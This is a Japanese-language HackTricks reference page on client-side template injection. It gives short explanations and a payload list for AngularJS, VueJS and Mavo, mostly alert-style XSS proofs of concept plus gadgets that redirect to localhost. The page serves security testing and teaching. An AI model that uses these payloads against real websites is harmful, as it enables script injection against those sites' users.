Client Side Template Injection (CSTI)

HackTricksをサポートする

概要

これはサーバーサイドテンプレートインジェクションのようなもので、クライアント側で発生します。SSTIはリモートサーバー上でコードを実行することを可能にしますが、CSTIは被害者のブラウザで任意のJavaScriptコードを実行することを可能にします。

この脆弱性のテストは、SSTIの場合と非常に似ています。インタープリターはテンプレートを期待し、それを実行します。例えば、{{ 7-7 }}のようなペイロードを使用した場合、アプリが脆弱であれば0が表示され、そうでなければ元の{{ 7-7 }}が表示されます。

AngularJS

AngularJSは、ディレクティブとして知られる属性を介してHTMLと対話する広く使用されているJavaScriptフレームワークであり、特に**ng-app**が注目されます。このディレクティブはAngularJSがHTMLコンテンツを処理し、二重波括弧内でJavaScript式を実行できるようにします。

ユーザー入力がng-appでタグ付けされたHTMLボディに動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を利用することで実現できます。以下は、JavaScriptコードがどのように実行されるかを示す例です:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

あなたはAngularJSの脆弱性の非常に基本的なオンライン例http://jsfiddle.net/2zs2yv7o/Burp Suite Academyで見つけることができます。

Angular 1.6はサンドボックスを削除しましたので、このバージョンからは{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>のようなペイロードが機能するはずです。

VueJS

脆弱なVueの実装はhttps://vue-client-side-template-injection-example.azu.now.sh/で見つけることができます。 動作するペイロード: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

そして、脆弱な例のソースコードはこちら: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

CSTIに関する非常に良い投稿は、https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets で見つけることができます。

V3

{{_openBlock.constructor('alert(1)')()}}

クレジット: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

クレジット: マリオ・ハイダーリッヒ

他のVUEペイロードを確認するには https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

マヴォ

ペイロード:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

More payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

ブルートフォース検出リスト

Support HackTricks

Last updated